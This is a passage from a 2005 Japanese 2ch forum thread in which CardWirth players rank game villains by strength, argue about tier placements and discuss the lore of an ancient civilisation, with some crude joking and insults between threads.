なら、設定はそこそこだが全然スケールの小さい男
失われた景色のディザイアはどのへん?

132 :名無しさん@お腹いっぱい。:2005/06/12(日) 21:55:21 ID:JslN5Q7M
S+ 
S  ボク
S- 邪竜、仮面の魔神
A+ ダスキン・モップ(リューン限定)
A  カナン、赤子(アモーレ)
A- ツガティグエ、ローファフォン(竜滅の古竜)
B+ ミタジマ、軍師、霧、妖魔(満腹)、「ミエナイ」BOSS
B  ルジア、イシュ魔術師、憑依、グリエ、シュレック
B- 巨大イカ、イリア、ライア、ティターン
C+ Sサイクロプス、エリス、「鋼」ゴーレム、ワイバーン、テンハーロ
C  花(旅の…)、メデューサ、マンティコア、「夢」魔物、蛮族大将、「bitter」悪竜
C- 機械人形、緋桜姫、ルカ
D+ 隻腕剣士、ヴィジョン兄、デュマディオ
D  紫苑所持者、BOD団長
D- ガキ狩り領主、ボス狼
E+ ドモホスキー
E  サブリナ、ジャン・ルイ
E- バルドゥア、ガザ
F+ ジェーン
F  セトレル、ヤシモット
F- ミント

とりあえず、>>52標準で俺補正。今の所こんな感じでいいか?

133 :名無しさん@お腹いっぱい。:2005/06/12(日) 21:57:41 ID:sQOvdelp
メデューサとデュマディオ一段上の希ガス

134 :名無しさん@お腹いっぱい。:2005/06/12(日) 21:58:42 ID:JslN5Q7M
あと、反乱軍の女人質に取ってたガザはそこそこは強いと思うんだが…。

135 :名無しさん@お腹いっぱい。:2005/06/12(日) 21:58:56 ID:FDARGiPB
ところで、ミエナイのボスってそんなに強かったっけ?

136 :名無しさん@お腹いっぱい。:2005/06/12(日) 22:02:02 ID:sQOvdelp
ティターンはもっと強い予感

137 :名無しさん@お腹いっぱい。:2005/06/12(日) 22:04:55 ID:PtHDLJOv
カナンはアンデッドなんだから、ダスキンのうんこ攻撃効かないんじゃないの?

138 :名無しさん@お腹いっぱい。:2005/06/12(日) 22:05:50 ID:FDARGiPB
>>137
相性とか考えたら、収集つかなくなる気がする。
まぁダスキンは殆どネタだがw

139 :名無しさん@お腹いっぱい。:2005/06/12(日) 22:06:42 ID:fo9IMG/T
あのティターンは満身創痍だが、石竜をボコボコ産むからな。
たろう氏の超生命体は核融合や反物質爆発よりも
凄そうな攻撃で再生しているから、A+くらいか。

140 :名無しさん@お腹いっぱい。:2005/06/12(日) 22:09:25 ID:FDARGiPB
こうやってみると、実はルーシーって天才?
テンハーロ並みのゴーレムを製作するなんて。

141 :名無しさん@お腹いっぱい。:2005/06/12(日) 22:13:25 ID:94UuU9D2
>>139
一応アレは、ろけっとらんちゃよりも強い攻撃は
メテオくらいしか存在しないって前提だと思うが

142 :名無しさん@お腹いっぱい。:2005/06/12(日) 22:13:56 ID:JslN5Q7M
>>135
敵としてはたいした事なかったが、
確かカナンと同じで本来の実力が出てないって奴じゃなかったっけ?

ああ、そう言われりゃティタは↑行きそうだな。
一人でも殺れるって相手だからかなり割り引きすぎたよ。

143 :名無しさん@お腹いっぱい。:2005/06/12(日) 22:15:07 ID:mIPJyK8L
ディマデュオ弱すぎない?
一応テロリストとして名を知られてるわけだし、
もう少し強そうなイメージが。

144 :名無しさん@お腹いっぱい。:2005/06/12(日) 22:16:42 ID:FDARGiPB
ムッ?
ミエナイってミエナイトモダチのことだよな?
もしかして間違ってる?

145 :名無しさん@お腹いっぱい。:2005/06/12(日) 22:24:44 ID:4wDWMVrX
いや、ミエナイトモダチの事だと思って漏れはレスしてたが

146 :名無しさん@お腹いっぱい。:2005/06/12(日) 22:27:10 ID:FDARGiPB
グリグリは暗闇と慣れた地形で本来の実力発揮しまくってなかったっけ?


147 :名無しさん@お腹いっぱい。:2005/06/12(日) 22:29:02 ID:JslN5Q7M
ああ、俺もそのつもりでランクつけてた。
石棺で眠ってて…、という奴だよな。

148 :名無しさん@お腹いっぱい。:2005/06/12(日) 22:29:43 ID:udqBQ7Xo
最早チラ裏向けの話題になってるような。
新シナが滅多にないからいいけど。

彗星都市の魔人×3やクリアラ遺跡の赤龍はどうかな

149 :名無しさん@お腹いっぱい。:2005/06/12(日) 22:32:06 ID:FDARGiPB
赤龍はイカ以上古竜未満くらいかな?
よってB

150 :名無しさん@お腹いっぱい。:2005/06/12(日) 22:32:18 ID:8IgNoWX4
#M(トーベルの主人公)は結構上位に食い込むんじゃね?
ゴースト系+魔術師に全く対応できない&武器に制限があるっていうのは痛いけど。

151 :名無しさん@お腹いっぱい。:2005/06/12(日) 22:35:41 ID:OgKn7iBd
クリアラの赤龍A+
ミーティアの3魔人A

152 :名無しさん@お腹いっぱい。:2005/06/12(日) 22:37:07 ID:94UuU9D2
>>143
テロリストに必要なのは
力ではなく頭

153 :名無しさん@お腹いっぱい。:2005/06/12(日) 22:39:48 ID:OgKn7iBd
魔術師でAに食い込めそうなのは魔王ドルグリュアくらいか
A+でもいいかもな

154 :名無しさん@お腹いっぱい。:2005/06/12(日) 22:41:44 ID:FDARGiPB
ドーベル冒険者は確かに強そうだが、Bから上は人外魔境だからなァ。
B-でも在野の英雄テンハーロだぞ?

155 :名無しさん@お腹いっぱい。:2005/06/12(日) 22:46:09 ID:94UuU9D2
塾長でもAランクに入れないのか
恐ろしいな

156 :名無しさん@お腹いっぱい。:2005/06/12(日) 22:49:45 ID:JslN5Q7M
俺はテンハロはC+の中でもワイバーンくらいにしか勝てん気がするなあ。
ゴーレム2体は結構堅そうだし、
エリスは不意打ちがまず通用しそうにない。

157 :名無しさん@お腹いっぱい。:2005/06/12(日) 22:50:37 ID:sQOvdelp
>>150
あれはトーベル冒険者というよりあの武器持ってる奴が強い感じだしなぁ。

158 :名無しさん@お腹いっぱい。:2005/06/12(日) 22:50:49 ID:fo9IMG/T
仮面の「魔人」だったな。あれは真祖みたいなもんか。

作品最強スレ風にしてみました。
【作品名】賢者の選択
【名前】カナン王
【属性】リッチロード
【大きさ】老人並み。戦闘時、巨大化している?
【攻撃力】魔法を同時に3発撃てる。素の魔力は神仙レベルで遺失魔法もあり。
     普通の剣より強いカナンの魔剣を意のままに操る。
【防御力】神仙戦士レベル。熟練の冒険者たちの攻撃で負ける。
     魔力の障壁で多くの補助魔法に抵抗する
【素早さ】達人の盗賊よりも遅い。反応は英雄戦士レベル。
     魔法で中距離の瞬間移動が可能。
【特殊能力】ワイトを作って操る。冒険者達を呪う。
      冒険者を中距離瞬間移動させる。魔剣を通じて監視する。
【長所】存在感がある。
【短所】神聖な攻撃が効く。腕を切られると弱くなる。

159 :名無しさん@お腹いっぱい。:2005/06/12(日) 22:58:06 ID:FDARGiPB
S+ 唯一神、上級ワイアームクラス
S 多神教最高神クラス
S- 名前付き古竜、異世界の魔神クラス
A+ 不老不死、混沌の神クラス
A 不死王、世界秩序ヲ崩壊できるクラス
A- 古竜クラス
B+ 素手で竜殺し、一人で軍隊を相手にできるクラス
B 稀代の人間クラス
B- 巨大生物、古巨人クラス
C+ 高レベルゴーレム、上級妖魔クラス
C 死んだら英雄クラス
C- 猛将、ビホルダークラス

こんな感じ?

160 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:00:27 ID:94UuU9D2
素手で竜殺しって、武器を持ったら
古竜より強くないか

161 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:02:46 ID:FDARGiPB
あえて武器を持たないのがミタジマクオリティw
これくらいのポリシーがないと強くなれないってことか?

162 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:02:53 ID:sQOvdelp
塾長に限れば素手だからこそ強いわけで

163 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:03:40 ID:rFMQhCPm
この流れつまんないですぅ

164 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:03:51 ID:fo9IMG/T
付け忘れ。
【備考】村を一つ難なく滅ぼす事ができるが、ディマデュオに封印される。
    一国を滅ぼす力を持つ魔物クラヤミが魔剣を見て怯えていた。
    その呪いは冒険者達の精神を弱らせたり、
    自分の分身?と戦わせたりするほどの力がある。

上級ワイアームじゃS+いかんだろ。世界そのものを超えてないと。
*bandでもモルゴスやサウロンより弱いし。…って、何処のスレだ。

165 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:04:01 ID:jiZdn9Za
>>159
S+は該当無しでいいような強いて言うならAsk神w
つうかワイアームがそんなに強いってどういう世界観?

166 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:06:02 ID:FDARGiPB
あまいあまい、ここで言う上級ワイアームは
宇宙クラスのワイアームで混沌のサーペントに匹敵するクラス…ってスレ違いだ!

167 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:06:42 ID:jiZdn9Za
あと、ボクは一応唯一神にカテゴライズされるはず。

168 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:08:41 ID:YHLvs1HH
冒険者レベル換算で行くとこんな感じか。
いろいろ他の要素も入るから一概にこうとは決められんが。

S+ 
S  20↑
S- 
A+ 18
A 
A- 15(特殊型最高Lv)
B+ 
B  12(英雄・神仙)
B- (この辺に凡庸12?)
C+ 10(一般最高Lv)
C 
C- 7


169 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:09:52 ID:FDARGiPB
うーん、ボクについては人によって見解が違いそうだけど…
俺の中では混沌から秩序を産み出せる神様クラス…やばいな上を論じると収拾がつかない。

ってことで、こんどはバルドゥア他Dクラス以下に目を向けないか?

170 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:11:24 ID:5Jci0aGa
>S+は該当無しでいいような強いて言うならAsk神w

Askをシナリオ内に登場させた奴はいるのか?
とふと思った。

171 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:11:58 ID:sQOvdelp
>>168
神仙は15だろ?
後16以上のレベル表記は止めたほうが無難。

172 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:12:06 ID:FDARGiPB
一人…サイバーパンクの世界で、悪役として。

173 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:14:20 ID:YHLvs1HH
>>170
現実は、極上の夢で、とかTarROとか。
まぁあれは通常とは世界観異なるけど。

>>171
神仙・英雄って書いたのはLv12のときの神仙・英雄型って意味。
まぁLv16以上は論ずる意味ないな。

174 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:15:35 ID:FDARGiPB
>>171
古竜がA-である以上、それ以上の存在としてレベル16以上がでてくるんだろうけど…
まずシナリオ内じゃ会えません、価値観の外にある存在ですから気軽には出てきません。
戦わせないでください!

175 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:16:04 ID:JslN5Q7M
>>159
A+ 不老不死、混沌の神クラス =ダスキン・モップ

                      感動した。

176 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:18:00 ID:FDARGiPB
リューン限定でなら無敵ですw
ネタ親父に通ずる強さを持ちます。

177 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:22:16 ID:MrHcsEn6
じゃああれだ「悪役の魅力」でランキングを取ったらどうなるだろう。

バルドゥアとカナン王がトップを競り合いそうだが。

178 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:22:38 ID:YHLvs1HH
そういえば「地形効果【宿】」でオヤジは宿の中では無敵の強さを発揮するのだ! ってのがあったな。

安眠窟だっけ。

179 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:23:33 ID:94UuU9D2
バルドゥアに魅力を感じない

180 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:24:02 ID:fo9IMG/T
下位レベルの悪役かぁ。マハガスはバルドゥアよりは上かな。

悪役の魅力、だと抽象的になりすぎるんで、
魅力的な悪役をランキングにぶち込んだ方が良いかと。

181 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:24:50 ID:jiZdn9Za
>>177
完全に主観のみになるから収拾付かないと思う。
俺はその二人よりディマデュオの方が悪役としては好きだし。

182 :170:2005/06/12(日) 23:25:03 ID:5Jci0aGa
>>173
うわ、いたのかw

183 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:28:33 ID:6meIXGO/
SSSねねこのじゅうぞう

184 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:32:47 ID:FDARGiPB
>>183
あそこらへんのNPCはBからDの間と結論がついたんじゃなかったっけ?
カードワースは数値ではなく、イメージを重視するゲームだと。

185 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:35:59 ID:fo9IMG/T
S+ 
S  ボク
S- 邪竜、仮面の魔人
A+ ダスキン・モップ(リューン限定)
A  カナン、赤子(アモーレ) 、ミーティアの3魔人、魔王ドルグリュア
A- ツガティグエ、ローファフォン(竜滅の古竜)
B+ ミタジマ、軍師、霧、妖魔(満腹)、「ミエナイ」BOSS 、赤龍
B  ルジア、イシュ魔術師、憑依、グリエ、シュレック 、ティターン
B- 巨大イカ、イリア、ライア、氷竜(てつし)
C+ Sサイクロプス、エリス、「鋼」ゴーレム、ワイバーン、テンハーロ、メデューサ
C  花(旅の…)、マンティコア、「夢」魔物、蛮族大将、「bitter」悪竜
C- 機械人形、緋桜姫、ルカ 、デュマディオ 、グラウフ(サニィ)
D+ 隻腕剣士、ヴィジョン兄
D  紫苑所持者、BOD団長
D- ガキ狩り領主、ボス狼
E+ ドモホスキー
E  サブリナ、ジャン・ルイ、マハガス
E- バルドゥア、ガザ
F+ ジェーン
F  セトレル、ヤシモット
F- ミント

186 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:38:34 ID:6meIXGO/
サブリナがバルドゥアより強いとかありえない
イメージ重視なら尚の事な

187 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:40:31 ID:FDARGiPB
というかバルドゥアは強いのか?
性格は強力ではあるが…

188 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:41:59 ID:sQOvdelp
イメージ重視でもバルドゥアは弱い、
というかあんななりして実は強請りタカリ謀略系だと思うんだが。

189 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:43:36 ID:94UuU9D2
大男らしいから暴力は強いだろうが
戦闘技能はカスだろうな

190 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:43:48 ID:FDARGiPB
考えたらD-の時点で戦場で出会ったら死ぬレベルだもんな…
一般人には遠いレベルだ。

191 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:45:55 ID:94UuU9D2
もっとランクを下のほうに拡張子た方が良いかもな

192 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:46:06 ID:sQOvdelp
>>190
つか碧眼の瞳の描写を参考にすれば、
Eでも下っ端構成員レベルにゃ遠い世界。

193 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:47:02 ID:6meIXGO/
サブリナがジャンルイと同列って時点でハァ?だろ
神話のに出てくる武器を持った家政婦じゃん

194 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:48:48 ID:sQOvdelp
ジャン=ルイは別に自身が特に強いってわけでもないんだが

195 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:51:24 ID:FDARGiPB
私兵を蹴散らす家政婦とゴブリンを虐殺する交易商。
いいところじゃないか?


196 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:55:00 ID:YbldnMBa
バルドゥアは元妖魔ハンターの爺(高レベル)を撲殺したという実績があるし。
ゆすりやたかり強姦、殺人もこなす悪漢ですよ。

サブリナ以下というのはありえない。

197 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:57:07 ID:v0/xX3Ex
SADAのNPCってだけでレイン系統とはまた違った
NPCマンセーフィルターが掛かるんだろ。

198 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:57:14 ID:FDARGiPB
既に引退している丸腰の爺ちゃんや、一般人を殺す程度なんて事無い。
サブリナは女の子守りながら旅をしたり、単身屋敷に乗り込むレベル。
捕まるけど。

199 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:58:36 ID:YbldnMBa
なんか萌え補正がかかってないかw


200 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:58:51 ID:94UuU9D2
兜かぶってないハゲ頭にメイス直撃したら
どれだけ鍛えてても死ぬだろ

201 :名無しさん@お腹いっぱい。:2005/06/12(日) 23:59:47 ID:sQOvdelp
>>199
そっちはそっちで多分ASK神ツナ補正が掛かってるw

202 :名無しさん@お腹いっぱい。:2005/06/13(月) 00:01:01 ID:17zIhMyJ
つーかこれはもはや別にスレ立てたほうがいいんじゃないか。
ランキング板あたりに。

203 :名無しさん@お腹いっぱい。:2005/06/13(月) 00:01:03 ID:FDARGiPB
そうかな…うーん、バルドゥアは悪漢ではあるが
純粋な強さという面ではそこそこだと思うんだが…

ちなみに主観入れたら俺の中でジェーンがD-まで浮上しますw

204 :名無しさん@お腹いっぱい。:2005/06/13(月) 00:01:23 ID:IuXUhTZj
じゃあ同ランクにすれば良いじゃん

205 :名無しさん@お腹いっぱい。:2005/06/13(月) 00:02:25 ID:IuXUhTZj
>>202
どうせすぐ廃れる話題だしいらない。どうしてもと言うなら雑談に移動すればいい

206 :名無しさん@お腹いっぱい。:2005/06/13(月) 00:02:32 ID:lZh8fLkt
ちなみに、ガザよりはバルドゥアのほうが強いとは思ってるけどねw

207 :名無しさん@お腹いっぱい。:2005/06/13(月) 00:02:38 ID:cqysdGT8
ってかここでこれ以上やっても煽られるだけだから
移動するなり何なりした方が良いだろ

208 :名無しさん@お腹いっぱい。:2005/06/13(月) 00:07:30 ID:Lw0jmlVZ
Eは客観的に見てこうだろ
ドモホスキー>>>マハガス>バルドゥア>ジャン・ルイ>サブリナ≧ガザ

209 :名無しさん@お腹いっぱい。:2005/06/13(月) 00:15:58 ID:T3Dv594c
CWはただでさえスレが多いんだよ。これ以上増やしてどうする

210 :名無しさん@お腹いっぱい。:2005/06/13(月) 00:18:46 ID:DYsteSCw
多いだけで機能してないところもあるしな

211 :名無しさん@お腹いっぱい。:2005/06/13(月) 00:20:35 ID:cqysdGT8
機能してない所って例えばどこ?
ヲチスレ?

212 :名無しさん@お腹いっぱい。:2005/06/13(月) 00:24:14 ID:lZh8fLkt
悲しいが素材屋スレ

213 :名無しさん@お腹いっぱい。:2005/06/13(月) 00:33:41 ID:17zIhMyJ
実際、2chに貼ってあった素材なんて使いづらいしな。
せいぜい喪スレとか個人で楽しむ範囲。
実力がある人は、イラボなりCWMCなりで堂々とやればいいじゃないか。

214 :名無しさん@お腹いっぱい。 :2005/06/13(月) 00:35:30 ID:5oyzATmb
>>112
正解

215 :名無しさん@お腹いっぱい。:2005/06/13(月) 00:39:33 ID:hpXR7x2S
まず一番不要なのが、ダメ学生及びそれに類する特別学級ブロガーが
関連スレのアドレスを張ることで必死に保守ってる
ガイドラインスレ
http://that3.2ch.net/test/read.cgi/gline/1091539386/

次に要らねえのが神気取りの糞ワレザーと醜いクレ厨の溜まり場
萌えシナリオ素材スレ
http://sakura03.bbspink.com/test/read.cgi/ascii2d/1114622439/

陰湿なイラボヲチぐらいしか出来ない低脳絵描きの集まりのくせに
そのネタを追いやって脳死状態
ゲ技術板の素材屋スレ
http://pc8.2ch.net/test/read.cgi/gamedev/1111488283/

同じく路ネタも無くなってほぼ脳死状態
たまに粘着とかヨン様とかが出る
ヲチスレ
http://book3.2ch.net/test/read.cgi/bun/1098785712/

ワーシストにどれだけキモデブ・オタクが多いかを示す
モテないキモ男スレ
http://etc4.2ch.net/test/read.cgi/motenai/1118399064/

初期スレから他を圧倒する厨房指数でシナ感のようなバ○カを多数生み出した
シナ語りスレ
http://game10.2ch.net/test/read.cgi/gameama/1118408389/

―――――――――越えられない壁―――――――――

正当なる本スレ
http://game10.2ch.net/test/read.cgi/gsaloon/1118400205/

216 :名無しさん@お腹いっぱい。:2005/06/13(月) 00:42:41 ID:PCiQBOuC
まず一番

ここまで読んだ

217 :名無しさん@お腹いっぱい。:2005/06/13(月) 00:45:47 ID:O0e4wX26
唯一消えてたスレに超えられない壁も何もあったもんじゃないんだがw

218 :名無しさん@お腹いっぱい。 :2005/06/13(月) 00:48:05 ID:v9VxfZEk
>>215
スレ違いですよん様
ヲチへどうぞ
http://ex9.2ch.net/test/read.cgi/net/1113271792/l50

219 :名無しさん@お腹いっぱい。:2005/06/13(月) 00:54:16 ID:Y5Nn94+6
ランキングを見ていて、そういや護衛依頼だかをクリアすると、
シュレックとの会話が変化したな、と思い出した。

シュレックとルジアの話題で盛り上がったら面白かったろうになぁ。

220 :名無しさん@お腹いっぱい。:2005/06/13(月) 00:54:59 ID:xUXjSro7
ここはランキングスレッドになりました。

221 :名無しさん@お腹いっぱい。:2005/06/13(月) 02:07:40 ID:DYsteSCw
>>215
正当なる本スレが最低の地位にあるのか?
よく分からん

222 :名無しさん@お腹いっぱい。:2005/06/13(月) 06:18:50 ID:51N0Az6B
222の獣

223 :名無しさん@お腹いっぱい。:2005/06/13(月) 07:59:21 ID:8TsrOENj
>>221
不要順に上から並べてるんだろ。

224 :名無しさん@お腹いっぱい。:2005/06/13(月) 08:35:42 ID:GuwkHkSy
いくらネタがなくてもランキングなんて無意味で不毛すぎる。
ttp://monjudoh.cool.ne.jp/ag-sai/
みたいな結論導いて楽しいのかお前ら。

225 :名無しさん@お腹いっぱい。:2005/06/13(月) 08:46:12 ID:fd0nrHWR
Ask内だけならともかく、全てのシナリオ内で最強を決める、とかは流石に無理があるな
とはいえネタがないのもまた然りだ

226 :名無しさん@お腹いっぱい。:2005/06/13(月) 12:11:14 ID:N5O/VTUC
そういやベクターで新シナきてたぞ。
誰かそれをネタに話を広げておくれ。

227 :名無しさん@お腹いっぱい。:2005/06/13(月) 12:47:29 ID:IYHHf31a
何か娘にプロポーズするシナ、とかあって地雷臭がするんだが。

228 :名無しさん@お腹いっぱい。:2005/06/13(月) 12:51:41 ID:YmR5xHPU
地雷だが、意外とちゃんと作られてた
冒険者が情けない設定でもいいならやってみれ。なかなか勢いがあるぞ

229 :名無しさん@お腹いっぱい。:2005/06/13(月) 13:55:00 ID:W48/AAbk
新シナの話題を振ってくれたところ悪いんだが、
誰か疑問に答えてくれまいか○| ̄|_
興味なければシナの話してくれててもかまわんし…

Askの公式設定ではリューン地下に、滅びた文明の跡があるよな。
あれは科学技術が発展してた文明なのか?
それともあくまで魔法が発展してた魔法文明だったのか?
ろけっとらんちゃって、魔法仕掛けなんだっけ?

230 :名無しさん@お腹いっぱい。:2005/06/13(月) 13:57:19 ID:lvPEUv8d
>>229
ロケットランチャーは機械だと思うが、
地下遺跡に決まった設定ってないんじゃないか?
ワーシストの自由に作りなさいって事だろ。

231 :名無しさん@お腹いっぱい。:2005/06/13(月) 13:58:49 ID:IuXUhTZj
雑談向きなのでそっちで振れ。
一応、ろけっとらんちゃは魔法の箱だったと思うが、その辺は脳内で好きにしてくれと思ってそう。

232 :名無しさん@お腹いっぱい。:2005/06/13(月) 14:00:19 ID:NWgIfDVd
ビホルダーと同じ文明だとしたら
魔法科学だか魔道科学だかが発達した文明だったんだろ>らんちゃーを作った時代

233 :229:2005/06/13(月) 14:16:32 ID:W48/AAbk
今の雑談はちょっと入っていけない雰囲気(;´Д`)

>>230-232
完全にSF的な科学文明でなくて、あくまで魔法が関わってくると思っていいんかな。
それを念頭に置いて自由に作ってみるかなー。
あと、質問ばっかで申し訳ないんだけど、ASK以外のユーザーシナリオで
古代文明に触れたシナリオってどんなのがある?
たろう氏の「追い求めた先には」と暗黒魔術師シリーズしか浮かばないんだけど
他のシナリオも参考にしたいので。

234 :名無しさん@お腹いっぱい。:2005/06/13(月) 14:40:18 ID:NWgIfDVd
>>233
たろう氏と暗黒魔術師シリーズはむしろ異端。
ASK風っぽい昔の文明に触れたシナリオなら結構ある希ガス。

235 :名無しさん@お腹いっぱい。:2005/06/13(月) 15:19:13 ID:WrpNRkS8
個人的には文明の流れは
機械だけ→魔法と機械→世界破滅→古代魔法→現在だと思ってる。
Tempest氏の魔法使いと科学者、は既に無いんだよな。
「公爵の遺跡」や「勇者と愚者」も古代文明か。

古代文明=超魔法文明の場合、普通の凄い魔法と
区別できないのであまり記憶に残らん。

236 :名無しさん@お腹いっぱい。:2005/06/13(月) 15:35:18 ID:/dSzaeuP
>たろう氏と暗黒魔術師シリーズ&その他の色々

全て各作者がイメージする古代文明ね
Askも含め、他の作者のイメージに縛られすぎずに自由に作ってもいいと思うけどな

237 :名無しさん@お腹いっぱい。:2005/06/13(月) 16:22:39 ID:OHDvhxwZ
>>233
遺跡モノは殆どそうだと思われ。
もし未プレイなら天高き宮殿をググってやってみるとよいかも。

238 :名無しさん@お腹いっぱい。:2005/06/13(月) 16:30:21 ID:YmR5xHPU
>>237
一件も引っかからないんじゃよ

239 :名無しさん@お腹いっぱい。:2005/06/13(月) 16:32:51 ID:IuXUhTZj
ヤフーなら引っ掛かる

240 :名無しさん@お腹いっぱい。:2005/06/13(月) 16:40:44 ID:x8Kg899O
>>239
その場合、ググるじゃなくてヤフるだよなw

…と、>>237に言ってみるテスツ。

241 :229:2005/06/13(月) 16:48:09 ID:W48/AAbk
ヤフってみれ、やと言われても分からなかっただろうなw

皆ありがとう、とりあえず挙がったシナでやってないやつをやってみる。
その上で自己設定で作らせてもらうよ。

242 :名無しさん@お腹いっぱい。:2005/06/13(月) 19:02:39 ID:kIG40ooL
>>185
サブは私兵数人なら殺れるレベル、ルイは海賊を子供扱いレベル。
バル派の意見を含めて3人同格でいいんじゃないか。
あとドホモを1ランクアップで、他の有名人加えて

D- ガキ狩り領主、ボス狼、ドモホスキー
E+ シー・フー、妖星デュホモ
E  サブリナ、ジャン・ルイ、マハガス、バルドゥア
E- ガザ、ミューゼル卿
F+ ジェーン、リヒャルト卿、グレーベル
F  セトレル、ヤシモット、ガルシア
F- ミント                こんな感じでどうよ?


すまん、また続けちまった。orz


243 :名無しさん@お腹いっぱい。:2005/06/13(月) 19:06:23 ID:lZh8fLkt
ミューゼルよわっ!!

244 :名無しさん@お腹いっぱい。:2005/06/13(月) 19:07:22 ID:IuXUhTZj
村人に簡単に殺されるレベルだからな

245 :名無しさん@お腹いっぱい。:2005/06/13(月) 19:11:15 ID:qqkuI6Gg
眠りの雲食らってたんだししょうがないだろ。とミューゼル擁護。

246 :名無しさん@お腹いっぱい。:2005/06/13(月) 19:14:52 ID:NWgIfDVd
>サブは私兵数人なら殺れるレベル、ルイは海賊を子供扱いレベル。
>バル派の意見を含めて3人同格でいいんじゃないか。

それぞれの着目の仕方に偏りがありすぎる

247 :名無しさん@お腹いっぱい。:2005/06/13(月) 19:17:58 ID:lZh8fLkt
いいんじゃない?
バル派もサブ派も絶対譲らないだろうし。
彼らはリアルアクション映画の主役をはれるレベルってことで。

248 :名無しさん@お腹いっぱい。:2005/06/13(月) 19:20:55 ID:IuXUhTZj
つうかこの程度のレベルの奴の強い弱いなど結構どうでもいい

249 :名無しさん@お腹いっぱい。:2005/06/13(月) 19:24:59 ID:myy4e4+W
ミューゼルはリンチだからしょうがあるまい。
それに、恐らく彼は事務方の騎士だったんだろうから。
>>248
やはりカナンやボクレベルぐらいじゃないと駄目かね?

250 :名無しさん@お腹いっぱい。:2005/06/13(月) 19:30:25 ID:kIG40ooL
>>248
いや、スレを見る限りミューゼルの強さは重要そうだな。(苦笑

251 :名無しさん@お腹いっぱい。:2005/06/13(月) 19:33:57 ID:eJkcPCfw
>>242
ドホモってそんなに強いんだっけ?

252 :名無しさん@お腹いっぱい。:2005/06/13(月) 19:35:19 ID:N5O/VTUC
CWは敵の僅差な強さよりも、存在感の大きさがキャラの命、と言ってみる。

まあこれは感性で決めるから、ランキングしにくいケドナー。

253 :名無しさん@お腹いっぱい。:2005/06/13(月) 19:37:19 ID:N5O/VTUC
>>251
あの専用イラストだと、通常の数倍は強く見られそう。

パーツ分割式の敵だったから、スキル次第じゃ結構面倒な敵だと思う。

254 :名無しさん@お腹いっぱい。:2005/06/13(月) 19:38:15 ID:lZh8fLkt
ミューゼルもお役所騎士か?
テロリスト追ってたし、沢山の町を巡査したとか言ってたから
本物の騎士だと思ってたんだけど。

ちなみにドホモはカナン並みのタフネスを持つチ○ポを持っています。

255 :駄レスの魔術師:2005/06/13(月) 19:39:17 ID:oHmtZTxs
ちんちんたのもしい

256 :名無しさん@お腹いっぱい。:2005/06/13(月) 19:39:41 ID:kIG40ooL
単純な強さを考えると、
ホモゴブ従えてたデュホモがゴブロードLvで
ドホモはそのデュホモを一撃。

まあ股間のキャノンのおかげだが…。

257 :名無しさん@お腹いっぱい。:2005/06/13(月) 19:47:10 ID:Z6TiR05r
おまいらドホモじゃなくドモホですよ。

258 :名無しさん@お腹いっぱい。:2005/06/13(月) 19:49:02 ID:xUXjSro7
(´・ω・`)。o○(ベクターに新シナがきてそうだぞ〜)

259 :名無しさん@お腹いっぱい。:2005/06/13(月) 19:57:11 ID:M2ODWtT2
>>258
>>226、>>227->>228

260 :名無しさん@お腹いっぱい。:2005/06/13(月) 19:58:35 ID:mhBKKZ1i
>>247
バルディアつえぇぇぇって言ってた奴って、
「SAD儲のNPC信者が」とか言って奴だろ?

>>254
つ ヘルプ

261 :名無しさん@お腹いっぱい。:2005/06/13(月) 20:00:24 ID:lZh8fLkt
リヒャルトの間違いじゃない?

262 :名無しさん@お腹いっぱい。:2005/06/13(月) 20:01:47 ID:mhBKKZ1i
>>261
悪い、ヘルプはそうだった。
つか俺混同してる。

263 :名無しさん@お腹いっぱい。:2005/06/13(月) 20:06:17 ID:lZh8fLkt
久しぶりにヘルプを見たら、ジェイソンがレベル4〜6なのか…

やっぱりK氏の見方は間違ってると思うよ。

264 :名無しさん@お腹いっぱい。:2005/06/13(月) 20:41:43 ID:kIG40ooL
そろそろネタ切れか。
とはいえB〜Dの格付け始めたら、確実にグダグダになるだろうな。

265 :名無しさん@お腹いっぱい。:2005/06/13(月) 20:43:47 ID:/dSzaeuP
意味ない…の一言で片付けるのもなんだし、俺は興味ないから様子見

266 :名無しさん@お腹いっぱい。:2005/06/13(月) 20:43:56 ID:lZh8fLkt
ネタ出そうと思えばいくらでもでるんだろうけど…
いい加減、みんなだれてきたんじゃない?

267 :名無しさん@お腹いっぱい。:2005/06/13(月) 20:45:39 ID:mhBKKZ1i
正直イメージ込みだと各人差がありすぎるので、
